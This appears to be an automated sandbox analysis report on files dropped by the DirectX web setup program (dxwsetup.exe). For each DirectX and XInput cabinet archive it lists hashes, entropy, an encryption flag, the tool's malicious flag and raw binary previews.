MD5:	FAE84E0773A74F367124C6D871516B7B
SHA1:	CAF8B9D7D4AF965BF445D052D1E835B680D6BBC3
SHA-256:	86EE073C199B5080FE4F5BE6AC24BB1117FEA42E4BBCD828B4F0EC26C669B22C
SHA-512:	CAF1381CAE7417B57FAEF56D0023BF90C90406748F8813AB85C687DDB81E2498D2F1D5F4BC154903FD5A19836E6F245CD6F5D3927A383F1ACC3BCC41B58FD09B
Malicious:	false
Preview:	MSCF.....b......D................$...........b...#...................(.........6+. .xinput1_3_x64.cat.h....(.....6. .xinput1_3.dll.h..........6.. .infinst.exe.\...h......6H. .apr2007_xinput_x64.inf............6G. .xinput1_3_x64.inf.....a......6H. .xinput1_3_x64_xp.inf...<.6..CK.\.\S.?....H3`@....B.....t.....D!.! " ].{..`AW........b.k/(....fNN ..z.}...g..of.7...\|3#.]4.j...."V.;u.".,..t....... o.!G4.G.<........!.I.P.'..t-B..T.N5...U.......2..S.....:....Ju.S.Q..v"D%..y.KR..B...a (.4.....7......x!L.\..u@.@...B.-G0......A..g...Dj8.j..L.X.."0."...^...kP.&@.}.....PP..k.p..\|.`..P..D"... .H.1.h.^.G...#...+Ls..7..!qH."@..."..;,....Iz;u.t....>..Ki.y.~.5M`)SR(..$....&P:........-F...@....-..C.&V....N...Z..!....~.....{X"eo.5.D6.u...Y.9...8.......pg8....g....4....j@.S..T..C.H..7..ID...!.HP}.....7U..@?1".yMi....aA.....[..&.M.0A..'L,.q. 6`..DZ...i2.t..(Sw...e..X..6 ..y$...>....D.&R......>....~..U.Z...X.B.5:HAn.IU..[ ..MH...8..Tgg'.H.G$H.$........)a...E b.y.>........t.....dF.

C:\Windows\SysWOW64\directx\websetup\Apr2007_xinput_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 47342 bytes, 5 files, at 0x44 +A "xinput1_3_x86.cat" +A "xinput1_3.dll", flags 0x4, ID 8235, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	56510
Entropy (8bit):	7.973777529821975
Encrypted:	false
SSDEEP:	1536:BcnwcwzHEdb27WH2SfZDNu75ddnVR+ZFaNk0ZKn4:4wb+2eZonQwt
MD5:	B362EC93463D8B6381A864D35D38C512
SHA1:	7CE47EBCEDA117D8B9748B5B2D3A6AE99FC239DF
SHA-256:	B6C1166C57D91AFEEEAA745238D0D6465FF2084F0606FD29FAF1BFA9E008A6C5
SHA-512:	CC57733912E2A296A11CD078372C3B43F1256A93EC5BECD0D1B520EB210FCE60938AA1CAA6DBBCA03292A05495B5ECD212EE5F77E3EBABB11EF31F1975B2D09E
Malicious:	false
Preview:	MSCF...........D...............+ ..............#...................(.........6{. .xinput1_3_x86.cat.h?...(.....6.. .xinput1_3.dll......h.....6G. .apr2007_xinput_x86.inf......m.....6G. .xinput1_3_x86.inf./....p.....6G. .xinput1_3_x86_xp.inf.i...T5..CK.y<.....Y.d..H.<3.1....=...`,cbB.f...RkB..V..E...,.[$I.R(~g..n........}....<....y>.9.s.....f&.s)E.F..Cp ..Q...D 0<0.;....R.....3.\...4...F.1QI...........@..O....2.f....I\...a...c4.0.....,...0.!..6.. M...@..:..ocp.A.K6......... .F..!...[....+..,...0n...<..@cl`+Xe^.X.t.$.;{X@.P....@d..N=.....Z..g....&...#...%]....~.........C. #..u...h(.4^.4.... a.a...#.Z<....%.{..5..n$....P@[..C<01..Y...F.\..[.H.H.l..f.l.X.0...l.4.A....+B.~.\|.l.YO0..k}i>~V..O.f...M0n^.?..B..........a.......N.w/==J.{..D@0..Q.....%..@6..Z.\|......@@.4..a.....q......t....4v....dI.Ym..^...........[7.XH.8Y.nR..d.<.;O.."k...d.y2aV..4....D...5..B".H~.....+x_o.4....c.#.`..0...v.F4........I.Q$.....x....._..;]...O[....l....?..:.......Q._....2.;.~...NXz

C:\Windows\SysWOW64\directx\websetup\Aug2005_d3dx9_27_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1071684 bytes, 5 files, at 0x44 +A "d3dx9_27_x86.cat" +A "d3dx9_27.dll", flags 0x4, ID 6926, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1080852
Entropy (8bit):	7.999138982152864
Encrypted:	true
SSDEEP:	24576:sP2N00PXWcq4UsDMMlsOgDUaQFMBZ0To2xIG:sP2CuZQsVl96fQiZMo2xz
MD5:	3E91448A7481A78318DCE123790EE31A
SHA1:	AE5FE894790624BAD3E59234577E5CB009196FDF
SHA-256:	8C062B22DC2814D4F426827B4BF8CFD95989FD986FB3AAA23438A485EE748D6D
SHA-512:	F8318BD7CA4271FC328D19428E4688DA898B6D7FB56CC185AD661D4A18C8169392C63515D7DD2D0B65CBD1F23892D7A0A5D3D77A4CDA6230BA03B3B917E5C39A
Malicious:	true
Preview:	MSCF....DZ......D...........................DZ...#..............H...<..........2.. .d3dx9_27_x86.cat..d#.<......2b. .d3dx9_27.dll.......#....2.. .aug2005_d3dx9_27_x86.inf.......#....2.. .d3dx9_27_w9x.inf.....p.#....2.. .d3dx9_27_x86.inf.]Z...>..CK..X.[...C.)...1(v.).. 3."J.P.. @(.&.Y..v...].....{.cW.$("..w.....yN<?v.5k.......q.Y..0......Z&.9N.!.....f.0.X...9b......fF......iL..+c...ff.tx.f....no.II...2.LO6..arY...u..PZM..9.6f..H.<...._..G".K.1...R.I..\|......=!....\O}<[/E.#..>.......+...........v!..C..:..Q.$.....s....LD.Q.i....h....b..aB3c.a.b.W..c.151/,./r.rD>...(.i..%!.......\.......Sn.\|t.[{F..Mq..\..5.d......J....J.3&....jN../S_N...Qg...gA..3..:...T.0f7.k..&.a.{o.+.j....:..j.f.s..54..`.}..g......?h....bf...w.(......C)(...$.........gJ~..`.;..P>...e.......c.C..@K...d0.@M0(.YM$.y..78..U.Y...J........W......A.04)...&4..{?....Ce..W.;..0m..x.9......n....Io!.!.>...o.......],OQ..0.Q..[KR5QrU.2)I...m.kU."<^..S..3.Q.....".b.F..UF.uJ....:lZ...p.2.R.

C:\Windows\SysWOW64\directx\websetup\Aug2006_xinput_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 81182 bytes, 5 files, at 0x44 +A "xinput1_2_x64.cat" +A "xinput1_2.dll", flags 0x4, ID 7454, number 1, extra bytes 20 in head, 5 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	90350
Entropy (8bit):	7.985841057262195
Encrypted:	false
SSDEEP:	1536:5lQFOMW9t2gGQtmxC4LbB8GXjgvW/j44krD+W2MLdk6v5yO1Ha6DB/4RPjz6ITda:rIOMWm+tmnbXjVkWW1lgO166cjz6z
MD5:	A9D582E44E46E36F37EDB7CBC761179D
SHA1:	ED1BEF64385E94CE89AFA704D38408E23B31FA79
SHA-256:	C26633D38E0A91B9BE70382E916A83D50E219609F7E05CFB2D27DFAFBE480B43
SHA-512:	20011BFB547DEDCE8E6FCEDA22C3A3A83DB140E8A20844F3B0E8741B4474C1FEA73D84708B801E83EAE3CD2D8A2D6C851C3F7CD0154C0382A78BC2C2DF6B01E5
Malicious:	false
Preview:	MSCF.....=......D............................=...#.............................4.R .xinput1_2_x64.cat..G.........4.K .xinput1_2.dll......f.....4.K .infinst.exe.V...'m.....4}R .aug2006_xinput_x64.inf.....}p.....4}R .xinput1_2_x64.inf....%p9..CK.[.\SI.....I..1`D...]A......A....D .)4........E]...`.....^VV.........{.\.]......~./w.9s...9sf.E..k.....l@...Y.......Cu4.....t......I.Q.<u)ey...k1...K0.)....u..+..{..&...Z....@=].X....'..$qD...y.kZ.+..O..x .....F.@..........A.wd..........;......<@i.. ..s(G..J..".q.#..c.u...=.H<"A.H..C..;.>....43V.4..1y.;..j.yK"F}.F..#.RY.h.u.2.....p.C...u...b.:..E1.?f........H@]..;..DfR.T.%..-.....h....@...;...Z=@..pGb.b... .........n.....b>...R~...J...X...0.?..P7..........p6."/=.Z mI.r..X..x...ey...m#.>Pi.ZY.".....Xi..B..S.....7....=P7k}L..."bB.....;.....)...;..L...`B.PG.8.d..q....e.E....D.T.$..H..X.A..,6..y.\|..4...x...K.....o...6`mB.T+.B..0..[..Q4MS.D?.9j.+...<..'.0.9"...5.l-S...8.#H..XF..puM5#.8.R..7..2.L.p..'....\../.....a....

C:\Windows\SysWOW64\directx\websetup\Aug2006_xinput_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 40098 bytes, 4 files, at 0x44 +A "xinput1_2_x86.cat" +A "xinput1_2.dll", flags 0x4, ID 6335, number 1, extra bytes 20 in head, 3 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	49266
Entropy (8bit):	7.9632460736333766
Encrypted:	false
SSDEEP:	768:OuG396sAA1wXXvVFc2755DkphtVmUkt/lnkvH0odpl/q1nk:vwQsAhFcSmpJ3kt/xcd7ek
MD5:	16B968CA0C435EE45E77A84C2D0364A9
SHA1:	90B17A60A34F6335787A6B2D489CBCD3A4EA98C8
SHA-256:	6DD7C0ABE37D3DF7AA6DB7BB352260F4A15DC965FF9D30AA32FE9595C1A18300
SHA-512:	3BBBFDF8B5673641EC066C3FB52E6B0D5CE0BC6ED6BFF17AB4AC3FA69A8628B09E5EC8322FC39D2A206974B54D297CAAFF9410197E26D090FE74F963CD535045
Malicious:	false
Preview:	MSCF............D................................#.............................4.R .xinput1_2_x86.cat............4.K .xinput1_2.dll............4}R .aug2006_xinput_x86.inf............4}R .xinput1_2_x86.inf.....>..CK.\|.\SG..M.. @...mTT.0.(..D..M...+K0 ..D.`...T.Zkk.Am.V..k...V[l...+....*Z4....P..........&w.3g.9..\.Kz<tp..N.;.]Y...%=.!...b.............%v_88.t`qXK.;......B..3..c.8...................a...aA..C..)t...FP.q.%......'.B...("...D0.(..Al(..BY.<..."...s.!...1....&."...a..;6;h.P.#.X...p.H....c..q,..1.'..^.CL..h.C..h.%......f...S.l.'h.p.p.E.......\..G..1..'.)D>.Cd.JB..u.....6..i..A.>...&.......]..J....C..h."........x.......4....0.H.?..P.=.Z"zEaJU...F./...Y.t...~.o.y9<..9.l..7=.9_..d...!.r.F0...4..c2...a.3..y0..B..nD<.K...s!d.9\|...p.0\|a.U.a.=x.v$.OM.1u{...qQ,..._.R....y..f"...33...@... ......[..1.a.....0.x8..@.N.`i..0...b..c.wYs.L>&..9..A.......UXL.n..8x.....z......W+..... o.'.v.r...$g....R...4.u.r..J.P+......./o:C...Sg.g.&.3r..^.vG.v^...I.s...9..

C:\Windows\SysWOW64\directx\websetup\Aug2007_d3dx10_35_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 790907 bytes, 6 files, at 0x44 +A "d3dx10_35_x86.cat" +A "d3dcompiler_35.dll", flags 0x4, ID 9055, number 1, extra bytes 20 in head, 56 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	800075
Entropy (8bit):	7.9986813742013325
Encrypted:	true
SSDEEP:	24576:iTo6mZ4UtaxS5hNsXjnUQEnnR62vSNE6xr8M6:iTdwtqAUXjU7nQaSNvxo
MD5:	DDC4AF0D53B477E5AF77942E7118B66E
SHA1:	81AD8201DCF653A6E977C4506A274D0BAC12643C
SHA-256:	9536166EE7CC1100CFE24E01532E8E4DEED6BAA838B4C025581F2CA046A25915
SHA-512:	1E082D7E7855BC0AF6EC09D4A69FD4A1B0A3A31E4DE8FAA52FA0BDCD601C501ADA6216DDDB83058F37AB4A371068E0F344BDF42F2551943BE19BD719D99BA93C
Malicious:	true
Preview:	MSCF....{.......D..............._#..........{....#..............8....).........6P. .d3dx10_35_x86.cat.p....).....6. .d3dcompiler_35.dll.h...2......6. .d3dx10_35.dll.c..........6F. .aug2007_d3dx10_35_x86.inf.I..........6F. .d3dx10_35_x86.inf.i...F......6F. .d3dx10_35_x86_xp.inf.. ......CK.y8............H.<3.1....=...`.&&[...m^...&D.l.%Z.TJ).....%.R..L...z.....{u]..<...y.....qn...e5\..1.1.....L.b.*D".x~....4....@0.....@#XD>D&.].T..........K..,.<(.81A.z.]..A....0.......Y.l......F[.C...R.`...8...$...A....2..8-..F..e.=j.J.ud..dM.I.........!.h..l.+..,....t9..r..!_h.D.. ..,3..hQsQnYE.+V.wL....;.....3#B"...Zh'...........2.Hx.....:2.%......:.&..'... .!.H.%.<..Tj......A3C.W..e....Dpe...]....!....&H.....I..~d...$C }.>.#...}3....X}.F..G!1....r6...WD.....L}.K..t.....)#...6.L.&...........)....9.!p.b....x.....{..f........s.a.U..^..,..3?.............Ck.....!.s.......`.oZk............K[i.g.....E7...f.7f...`.....3...F.....i.?K&.....d.,Yk.L...........,.L...D.Au..].8.

C:\Windows\SysWOW64\directx\websetup\Aug2007_d3dx9_35_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1702192 bytes, 5 files, at 0x44 +A "d3dx9_35_x86.cat" +A "d3dx9_35.dll", flags 0x4, ID 7184, number 1, extra bytes 20 in head, 115 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1711360
Entropy (8bit):	7.999186916403002
Encrypted:	true
SSDEEP:	24576:91jqFBu+YTN2MuQ4R6dPnknsGmQA+re+1ZGD+rCbaNHy196aqlF35RJT1q/P0a+8:9FyMTN57+MPO++rB44S1I/F35zhqFR
MD5:	3ED592E6CDAE66B1C0671D9EC417A738
SHA1:	9F083FFE00A8E5EABF282130CD16044B488B6E0D
SHA-256:	4914D2B5C3251B00C0CC236F51AFE469728D92B50C953C66D213F079AC928EAC
SHA-512:	0144DD9A83F953EABAAFF3C41F17A363100C9A2CCD932321A4AFE990D8FCB5A430E842DE9146C983409B6366CD974E318A535E6475B10839A6679844CB7D23B7
Malicious:	true
Preview:	MSCF....0.......D...........................0....#..............s....(.........6P. .d3dx9_35_x86.cat.h.8..(.....6. .d3dx9_35.dll.\.....9....6B. .aug2007_d3dx9_35_x86.inf.....\.9....6B. .d3dx9_35_x86.inf.,...g.9....6B. .d3dx9_35_x86_xp.inf..n_.;..CK.y<.....Y.[.J.f.d.;c..l...."a..2&&[..E.BEY.EZl.%Z.(..%.+%I....3.[}...q..s?..\|.w..=.s.s..y..2.S8y..........L.8.....0\| .'.. .....LD.'.2'..c.ya.L.a...........C.....C.....^...T..x,.j.X....\.......2a2H.<`.`.c@. BwM(a.#..P....&[R.... $.B.....{....\....5.<$...q.t..qp..c.Z..J...DK...d...A@.....:t...^...X.....K...zg>......U.A..#..1v....`'d..d......A.Bf.@y.$a.d.....,.2W.=."t..........".p8.%......C.0....l.F......X.Q......R.....]...c..Y.Y.<t.'...}.........gK....of...........8Gv6......O.....N!d.?...E...g3a....`...G.R2..-@.6@......\..`H$...4...&...g.6..M.........r2K.s.....FM(......}....hCJVC.T.y..@...C...d..Yk.L`....D..L....>d#.08\.h....&...&......ox...4.2......'K....R...(E...@..6RH..A..t.1 ......s........).T..\.G..........w...

C:\Windows\SysWOW64\directx\websetup\Aug2008_d3dx10_39_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 843207 bytes, 6 files, at 0x44 "d3dx10_39.dll" "D3DCompiler_39.dll", flags 0x4, ID 8952, number 1, extra bytes 20 in head, 61 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	852375
Entropy (8bit):	7.998886184584254
Encrypted:	true
SSDEEP:	24576:E6Ih4DqlkwAjhr1mB+uYgrCvCZNmJ9ndKo4XYbX:E664DQkwAj/oNCvCZIdN4ID
MD5:	5380053AC4C344BD38604022476B1C1D
SHA1:	043DC8F49BCA3BF0BD85E858F5C2EEDF68565C0D
SHA-256:	84800C55F773D5D6913E344E41BABA58CF07CEC2E6C7114CA3BF48E8F355419F
SHA-512:	F3CE2DEF6E2E8A1D2C07F627E3C437A1BBA0B2E456020A84121346472BE3D28E0FC69623BD408F35A2C639C83DD2787F998DEDFE42B7625DC71500824B035FEC
Malicious:	true
Preview:	MSCF............D................"...............#..............=....$.........8 X..d3dx10_39.dll......$.....8.X..D3DCompiler_39.dll.f(..(......8.2..d3dx10_39_x86.cat.I..........8.2..d3dx10_39_x86.inf.i..........8.2..d3dx10_39_x86_xp.inf.c...@......8.2..Aug2008_d3dx10_39_x86.inf.,"..%,..CK..\.....\./.R3...$...Hef.K0..D<....V..uvA4.J.yTx..YjvY..<.2.133.J.[...O.g.Q.J..gf.....r^.}..s~g..3...F..!...eB>$.e .~..Z.j@V....C]..-..-N.!.Dc.c2.lv..!0b......$&.n.....yH..cz./...\|...w.;y../+.......l.\|~...?...{..-<Us.(n..M.U...(Bz.I.WCc.q.I..uuu....2O.K}.~_x...P..B.D.P.].C-e..O..x.tJ.....Y....'o5%dE...+..../..".tp...Ap..i^.$.0W.....!...b../.W..y.B.....#.m.k}O.k..z...N........W.3.......S.F..].E..j,.;.xe..I`6p.V..._O..K`.H.C....f.....'..3@?@O..`...@&p..P...W..>HO.....,..CA........0...m.....D....0.....x.S...l.....'....`.....%....{....1y.t...Qp.t..{..A.0c.......k.....@!x......RA/.....@c......}...n.......`.x.L.cA...A ...P..S....2}{%".,....d8..^.K..p.xGE...+..\`:X.>.G.o.Y

C:\Windows\SysWOW64\directx\websetup\Aug2008_d3dx9_39_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1458712 bytes, 5 files, at 0x44 "d3dx9_39.dll" "d3dx9_39_x86.cat", flags 0x4, ID 7173, number 1, extra bytes 20 in head, 118 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1467880
Entropy (8bit):	7.999682997096517
Encrypted:	true
SSDEEP:	24576:ztDuVYfr3zZ3dHi+rHI8lVs1WutNXBoY4RbifcKly/kNwSh1mMbS8X/9Wv8PiL:JDnr3zZ31lVsgENSsfcKaZAFF88+
MD5:	4379902C4180A9A6BF40B847372CEC5A
SHA1:	C7FC8184D5620154B9BFD6FBC8820A78C4EEE592
SHA-256:	61E703E8D231412F135B4ABA629122D9CB69AC9EE39FA3CBBE6B95DE05097A8B
SHA-512:	9269F49A5CA90143C50B817E9F5AEC0FC4C32BA1B6D3A21CC5448CAD21A16A902540C8CFC1825B124CE39E0BDC479ADE4354B6BE15B2067E3033E04998E0710A
Malicious:	true
Preview:	MSCF.....B......D............................B...#..............v.....:........8.X..d3dx9_39.dll.<'....:....8.2..d3dx9_39_x86.cat.....D.:....8.2..d3dx9_39_x86.inf.,...O.:....8.2..d3dx9_39_x86_xp.inf.\...{.:....8.2..Aug2008_d3dx9_39_x86.inf....$:..[.... .1......$Q.f...<....B..we..]w.QR..B.).V..i.k..Z........=......d.. .....2..cLfl..A..w4[..VBs.{...^...S..a..]Z...%vh...9..Ro...K..r.}..ZP......".i..5P..."..............."......I.c.on..F...&..K @T.=...C..a ..!..q...Pb.=........hY.b..i`AY..<xwqvlx,t......Yg..R....g1fG..i..4.o.......S_...V..N.K.N..qQ.....Etr.1...E..:..\|..../e..<...9.s.....%.RT. .M!.$(2b[X.NT.B...HT.?.!.<\|4~.?........Si.Xe...l}....J.J\|LN...R.o..@W!.y.8..t'....%A.!I..U.A>..~..........u....2SR.[...9Te.?..U....y*.M.yxnx...z.J..V...(.....X.\|...f.h.....?.LGt..UT...o.7.0..h[.P..`...`../$LED..'.E. \|.A-.w...6.+.\;.h...H...........8...A...0.n....9- p..M. r.V.!...W...r.Y......BO.d...{4.. ....U..A ).....9f.e............`P..w[.......$..o.L1.~.R.M@\AC....W.%..

C:\Windows\SysWOW64\directx\websetup\Aug2009_d3dx10_42_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 186171 bytes, 5 files, at 0x44 "d3dx10_42.dll" "d3dx10_42_x86.cat", flags 0x4, ID 7280, number 1, extra bytes 20 in head, 15 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	195339
Entropy (8bit):	7.996178589789764
Encrypted:	true
SSDEEP:	3072:/hxMUzbnbaWbX0JkFvs5aQnkW6sJ/Fw395/lfLxBQLgGlekmQI84HAGujR7j:5CEbiqvs5aQnkW6A/8jlzxBw0/Erd1X
MD5:	F264AF5A36B889B4F17EB4D4F9680B4F
SHA1:	1DF087EA99D321EC96D0D2F1C66BEE94883D6F08
SHA-256:	BB46189EB8CB7769EB7BE00CFBC35902072FA9408313EF53F423E5AE5C728F61
SHA-512:	73AE1CF3CAFBA148F4E5B4D8AC12A7AA41F6ECAC86C139C6A7714F90F3DC61C444DC152A3AD3C2CA800C1A1F4955A2B508735F8490666B57D1420FB7A7BFC269
Malicious:	true
Preview:	MSCF....;.......D...............p...........;....#..................P.........$;....d3dx10_42.dll.....P.....$;...d3dx10_42_x86.cat...........$;...d3dx10_42_x86.inf.(.........$;...d3dx10_42_x86_xp.inf.c.........$;...AUG2009_d3dx10_42_x86.inf.\|..f.0..CK..T.I....8....e0.JVT`..Q......A..a@..i.k..........b.bN......fE.]...y...s._W..~.......9.6.0:../....^.._..F{.3......7.NHL.....T......Z.....Sd.)2W. Y.2Na....^.lk....+......V.J...j.W.vI.Xj.V....Y..^$....&.&....9..azKt..6....2..e..).,..6...0,......Z.a...R...k........(..V.E.....2..C....p>r..Y.].sR&....)....i.0.....W..#(.....j.p5.ZvR.!..:.jd..e............7:(..\....kZ..b^...s4W).. L.%......:g......./..5.......eW).....t.2..].... ..X.,.. ~80...v..k.#.1.2.....0..PF.....z.]......\.\.N.E.J`6....p.....@_..;...p.8........x.....y.6.(p.x..XJ..@O........E.v.0p...m4.8.,.6.%...P.lh.. ...B.g..0.....>v.....S.A......E@...0.P..@8....v.9..h....xc*e....'..`..._...........M.lg..P..-.!......L...@$0.........j5..m.{ .H.f.[...C@

C:\Windows\SysWOW64\directx\websetup\Aug2009_d3dx11_42_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 99084 bytes, 5 files, at 0x44 "d3dx11_42.dll" "d3dx11_42_x86.cat", flags 0x4, ID 7285, number 1, extra bytes 20 in head, 8 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	108252
Entropy (8bit):	7.991332626956763
Encrypted:	true
SSDEEP:	1536:MI9cI4N24813fwIsfQqzjoroJ1OL79D+0sFGmNjFRchFxLvk5yswFa8D+0qlt6s1:Pah8Vo/1uLJoGmZEFxLvcwM8DZcZxb
MD5:	DD47F1E6DC19405F467DD41924267AD0
SHA1:	85636EE0C4AF61C44D0B4634D8A25476CF203AE9
SHA-256:	39FF69BA9161D376C035D31023D2FDEECB9148A2439ABE3AFD8F608F7E05E09B
SHA-512:	F77C4CEF5CB7E927948F75C23A190E73D6C75B4F55915859046533A10AA3C5ABAC77D8BEF71A79368C499C85009213E542094B85B94B69E62AA66B60616777C3
Malicious:	true
Preview:	MSCF............D...............u................#..................P.........$;....d3dx11_42.dll.....P.....$;...d3dx11_42_x86.cat..........$;...d3dx11_42_x86.inf.(........$;...d3dx11_42_x86_xp.inf.c.........$;...AUG2009_d3dx11_42_x86.inf.ix..@ ..CK.[.X.G.....<..: .QQ.9...S@..A.......p..D._M<.A7&F.q.f]c..xD..Wc.....F7..H..b.._.]=T.tbo.......\|O}..[U_.U]o.L......(%..V..Nq.(.....=v........R..3.K.......2c....Zm,..+k.%.....2k.e........s3Xx...C....~..P.X..o..~..[....../A.?...\Rl.QRX.g.sz<E....g..s..[/s.(5..T..>/.(.9F&;.c\|..).k....6y.7+P..d...U.J.H7(.x.E.B}.1`..Z. .C....lTP...C7....._^h7F..t....T[.V.r.J.....&?F...Pd.6#..H\|....).<.....U...g...5..5..RjE.=.sc:...x1..[..w..p...8."..Y8.....AV...E".A..p...%d."..5d.!..l4..d}..#.A...#;.l.....!.....Xd...!3"...G...d_"...^do![.l..i.& ..,...d}.9#S.....IA.C......E.6..![...dS..#+@6..@.....m..:......v!{..Zd. [.l&..-.....9..C9...}.x..Y9=.F...k.Z^.^...!{...........R...d.._...~2z_O.mXG.._...XkYEI.....^iA.p.....=...wa;...N.6.2

C:\Windows\SysWOW64\directx\websetup\Aug2009_d3dx9_42_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 722496 bytes, 5 files, at 0x44 "d3dx9_42.dll" "d3dx9_42_x86.cat", flags 0x4, ID 7080, number 1, extra bytes 20 in head, 59 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	731664
Entropy (8bit):	7.999475174279291
Encrypted:	true
SSDEEP:	12288:IDTg2rIyRKFAtmsFp1UChyax+LFl9NiHEpMH5Vfe8PIqEqnyA6F56J2:M02fKYVFvhKLFl9NikiH5V28PXyA6GJ2
MD5:	9BC8213933598D050827D20A4573486C
SHA1:	E6F9BA62756A00C53746419DEA221881AEB336CF
SHA-256:	9C96B6FC4DF5C0EFCA9F0D653976772B2B964243214F99066E4CA4AA6DF791DD
SHA-512:	A1920D042963CDDA41DF44044DE5B94B4CEE6EFA102F633214E384918D93D2D6A31EB388BDBD00C7E9C199281E3B71CAA5242E9A42E7F0BE27EDF90A3CF6890C
Malicious:	true
Preview:	MSCF....@.......D...........................@....#..............;...X.........$;....d3dx9_42.dll.....X.....$;...d3dx9_42_x86.cat...........$;...d3dx9_42_x86.inf.,.........$;...d3dx9_42_x86_xp.inf.\.........$;...AUG2009_d3dx9_42_x86.inf.....::..[.... .......5!.P..wO.n..pOc....7...l.c.n..slmk]....]...B..W..D..UJ...P........C.......l8..y^.S.N.I..7%.....].n...d...>.#....zT{6+..X.UB. AA......u7{0...n. ....d..R....=...D...F.......n..n..~U.]..U.EX, .......A^;...(...<.@#0/..O.!...i.#.C....D...D.cwC.v.y.<+.....g.l....f.k...W...[..I&...M..W.&Z..^..MB...:.LyQv.l.U.=Y..%....8Ls.......-..".U.....s.f.YVvX...-..8T..m...=..9.CN!89....f.2.G.....:s.G...>.......c^.Z..=h.l..Q..w..yc.\i.Z.^...$cw.T.".d`.jhL;.ZqB.L.{...Z....h{=s.....a.4.1../..`....\|;I...;...$.m!l'.g..pa.).b0..:.tT...T..{..<..T.....z.....!....,..\|.@.../..A.....q.......@.....................\|..5...[..p.6....FE.../.609$.....+.Q.f.N3.....L; ..6./.j.4.a.E2....(G0,...x..5...IBS.._......9.....%0.....

C:\Windows\SysWOW64\directx\websetup\Dec2005_d3dx9_28_x86.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1073496 bytes, 5 files, at 0x44 +A "d3dx9_28_x86.cat" +A "d3dx9_28.dll", flags 0x4, ID 6914, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1082664
Entropy (8bit):	7.999121865147412
Encrypted:	true
SSDEEP:	24576:Wa0lNxqf7fg42FhNffA/Lj41q7+YeSFfSKidHVmTJwagz8u:WHXx652fNffm0oleSt3Fwa3u
MD5:	B1CCAAFF46FE022439F7DE5EB9EC226F
SHA1:	8BB7225DF13E6B449D318E2649AEB45A5F24DAF7
SHA-256:	645F8D90B07C69330A8C7C8912D70538411C9A6B2813048DA8AD3C3119487F93
SHA-512:	2B59C07584D45705273A975A0223E4443DB190675558AB89D92E1572DE4843BE3D0D1267818B19185E4E438A8BCFA2AF5FB5EF2A119DA270BE4540576FD78C77
Malicious:	true
Preview:	MSCF....Xa......D...........................Xa...#..............H..............3g. .d3dx9_28_x86.cat..t#........3). .d3dx9_28.dll......#....38. .d3dx9_28_w9x.inf.....x.#....38. .d3dx9_28_x86.inf.......#....38. .dec2005_d3dx9_28_x86.inf...a.>..CK..X.[...C.)...1X..S.I...(M@A.......Pm..;......,.`...=.#v.$("..w.{...yN<?..=k.^..=s...o.jw..et.=..YA..=H.eF..l...,;.17kj....+.jw..Y.ry6..\.Y.4.igecJ...,.g.yp.F.yc.....X...e...L6.....SI..j......."6."...2.... ..+..O$B,..6l. ..B1l.`.....A..rN2..ggf..g..... ..H..Dp$.1..h..X.O..Pi...[LC.L..!d.\....fff................lknfYP@_..\|...Q4.!.JBJ..0...Ri[4.=..r<...b.3M/F].._S.J.."......"...P%@...`..l..J./.!.3.M.....y.l...TI.d~8.0fwf.J)M.C.U....<n7......./..&..P.R0...Q.JU..2.`...2.ri....vp:.Lg.:(.....7.H2.p.!....N.).A...bg......$..6.M5Nj.e.U..-9..P..L.5...G5.......A.P.6..6..v.i..6..6........-....`.........&3nN..K.&w.g-c....4K.9..}...U}.."VCf}*b]..B..+.j.D..d5`..k...j...4UR..... ..Ux."].d5g6..l.70&.%J.^...Q.U.5...9..~

C:\Windows\SysWOW64\directx\websetup\Dec2006_d3dx10_00_x64.cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 206847 bytes, 5 files, at 0x44 +A "d3dx10_00_x64.cat" +A "d3dx10.dll", flags 0x4, ID 6580, number 1, extra bytes 20 in head, 17 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	216015
Entropy (8bit):	7.996946294916653
Encrypted:	true
